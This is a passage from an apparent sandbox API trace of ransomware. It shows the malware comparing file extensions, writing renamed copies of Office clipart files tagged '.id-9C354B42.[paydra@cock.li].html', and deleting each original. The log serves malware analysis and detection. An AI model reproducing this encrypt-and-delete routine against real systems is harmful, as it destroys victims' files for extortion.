lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.638] lstrlenW (lpString=".bz2") returned 4 [0052.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.638] lstrlenW (lpString=".7z") returned 3 [0052.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0052.638] lstrlenW (lpString=".dbf") returned 4 [0052.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0052.638] lstrlenW (lpString=".1cd") returned 4 [0052.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0052.638] lstrlenW (lpString=".jpg") returned 4 [0052.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.045] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.045] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0053.051] GetLastError () returned 0x0 [0053.051] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x9bc, lpOverlapped=0x0) returned 1 [0053.069] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0053.070] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.070] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.070] SetEndOfFile (hFile=0x180) returned 1 [0053.070] CloseHandle (hObject=0x180) returned 1 [0053.070] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.070] SetEndOfFile (hFile=0x198) returned 1 [0053.071] CloseHandle (hObject=0x198) returned 1 [0053.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0053.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0053.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0053.072] lstrlenW (lpString=".doc") returned 4 [0053.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.072] lstrlenW (lpString=".docx") returned 5 [0053.072] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.072] lstrlenW (lpString=".pdf") returned 4 [0053.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.072] lstrlenW (lpString=".xls") returned 4 [0053.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.072] lstrlenW (lpString=".xlsx") returned 5 [0053.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.072] lstrlenW (lpString=".ppt") returned 4 [0053.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0053.072] lstrlenW (lpString=".zip") returned 4 [0053.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.073] lstrlenW (lpString=".rar") returned 4 [0053.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.073] lstrlenW (lpString=".bz2") returned 4 [0053.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.073] lstrlenW (lpString=".7z") returned 3 [0053.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0053.073] lstrlenW (lpString=".dbf") returned 4 [0053.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0053.073] lstrlenW (lpString=".1cd") returned 4 [0053.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0053.073] lstrlenW (lpString=".jpg") returned 4 [0053.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.079] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.079] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0053.104] GetLastError () returned 0x0 [0053.104] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x1306, lpOverlapped=0x0) returned 1 [0053.119] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1310, lpOverlapped=0x0) returned 1 [0053.120] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.120] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.120] SetEndOfFile (hFile=0x180) returned 1 [0053.120] CloseHandle (hObject=0x180) returned 1 [0053.120] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.121] SetEndOfFile (hFile=0x198) returned 1 [0053.121] CloseHandle (hObject=0x198) returned 1 [0053.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0053.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0053.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0053.122] lstrlenW (lpString=".doc") returned 4 [0053.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.122] lstrlenW (lpString=".docx") returned 5 [0053.122] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.122] lstrlenW (lpString=".pdf") returned 4 [0053.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.122] lstrlenW (lpString=".xls") returned 4 [0053.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.122] lstrlenW (lpString=".xlsx") returned 5 [0053.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.122] lstrlenW (lpString=".ppt") returned 4 [0053.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0053.122] lstrlenW (lpString=".zip") returned 4 [0053.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.122] lstrlenW (lpString=".rar") returned 4 [0053.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.122] lstrlenW (lpString=".bz2") returned 4 [0053.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.122] lstrlenW (lpString=".7z") returned 3 [0053.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0053.123] lstrlenW (lpString=".dbf") returned 4 [0053.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0053.123] lstrlenW (lpString=".1cd") returned 4 [0053.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0053.123] lstrlenW (lpString=".jpg") returned 4 [0053.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.123] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.123] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0053.123] GetLastError () returned 0x0 [0053.123] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x4354, lpOverlapped=0x0) returned 1 [0053.134] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x4360, lpOverlapped=0x0) returned 1 [0053.135] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.135] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.136] SetEndOfFile (hFile=0x180) returned 1 [0053.136] CloseHandle (hObject=0x180) returned 1 [0053.136] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.136] SetEndOfFile (hFile=0x198) returned 1 [0053.137] CloseHandle (hObject=0x198) returned 1 [0053.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0053.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0053.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0053.137] lstrlenW (lpString=".doc") returned 4 [0053.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.137] lstrlenW (lpString=".docx") returned 5 [0053.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.137] lstrlenW (lpString=".pdf") returned 4 [0053.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.138] lstrlenW (lpString=".xls") returned 4 [0053.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.138] lstrlenW (lpString=".xlsx") returned 5 [0053.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.138] lstrlenW (lpString=".ppt") returned 4 [0053.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0053.138] lstrlenW (lpString=".zip") returned 4 [0053.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.138] lstrlenW (lpString=".rar") returned 4 [0053.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.138] lstrlenW (lpString=".bz2") returned 4 [0053.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.138] lstrlenW (lpString=".7z") returned 3 [0053.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0053.138] lstrlenW (lpString=".dbf") returned 4 [0053.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0053.138] lstrlenW (lpString=".1cd") returned 4 [0053.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0053.138] lstrlenW (lpString=".jpg") returned 4 [0053.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.139] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.139] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0053.139] GetLastError () returned 0x0 [0053.139] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x3ef0, lpOverlapped=0x0) returned 1 [0053.142] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x3f00, lpOverlapped=0x0) returned 1 [0053.143] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.143] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.143] SetEndOfFile (hFile=0x180) returned 1 [0053.143] CloseHandle (hObject=0x180) returned 1 [0053.143] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.143] SetEndOfFile (hFile=0x198) returned 1 [0053.144] CloseHandle (hObject=0x198) returned 1 [0053.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0053.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0053.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0053.145] lstrlenW (lpString=".doc") returned 4 [0053.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.145] lstrlenW (lpString=".docx") returned 5 [0053.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.145] lstrlenW (lpString=".pdf") returned 4 [0053.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.145] lstrlenW (lpString=".xls") returned 4 [0053.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.145] lstrlenW (lpString=".xlsx") returned 5 [0053.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.145] lstrlenW (lpString=".ppt") returned 4 [0053.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0053.145] lstrlenW (lpString=".zip") returned 4 [0053.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.145] lstrlenW (lpString=".rar") returned 4 [0053.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.145] lstrlenW (lpString=".bz2") returned 4 [0053.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.145] lstrlenW (lpString=".7z") returned 3 [0053.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0053.145] lstrlenW (lpString=".dbf") returned 4 [0053.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0053.146] lstrlenW (lpString=".1cd") returned 4 [0053.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0053.146] lstrlenW (lpString=".jpg") returned 4 [0053.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.151] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.151] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0053.151] GetLastError () returned 0x0 [0053.151] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x4124, lpOverlapped=0x0) returned 1 [0053.154] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0053.155] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.155] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.155] SetEndOfFile (hFile=0x198) returned 1 [0053.156] CloseHandle (hObject=0x198) returned 1 [0053.156] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.156] SetEndOfFile (hFile=0x1b8) returned 1 [0053.157] CloseHandle (hObject=0x1b8) returned 1 [0053.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0053.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0053.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0053.157] lstrlenW (lpString=".doc") returned 4 [0053.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.157] lstrlenW (lpString=".docx") returned 5 [0053.157] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.157] lstrlenW (lpString=".pdf") returned 4 [0053.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.157] lstrlenW (lpString=".xls") returned 4 [0053.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.157] lstrlenW (lpString=".xlsx") returned 5 [0053.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.157] lstrlenW (lpString=".ppt") returned 4 [0053.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0053.158] lstrlenW (lpString=".zip") returned 4 [0053.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.158] lstrlenW (lpString=".rar") returned 4 [0053.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.158] lstrlenW (lpString=".bz2") returned 4 [0053.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.158] lstrlenW (lpString=".7z") returned 3 [0053.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0053.158] lstrlenW (lpString=".dbf") returned 4 [0053.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0053.158] lstrlenW (lpString=".1cd") returned 4 [0053.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0053.158] lstrlenW (lpString=".jpg") returned 4 [0053.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.158] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.158] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0053.159] GetLastError () returned 0x0 [0053.159] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x687c, lpOverlapped=0x0) returned 1 [0053.357] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x6880, lpOverlapped=0x0) returned 1 [0053.361] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: 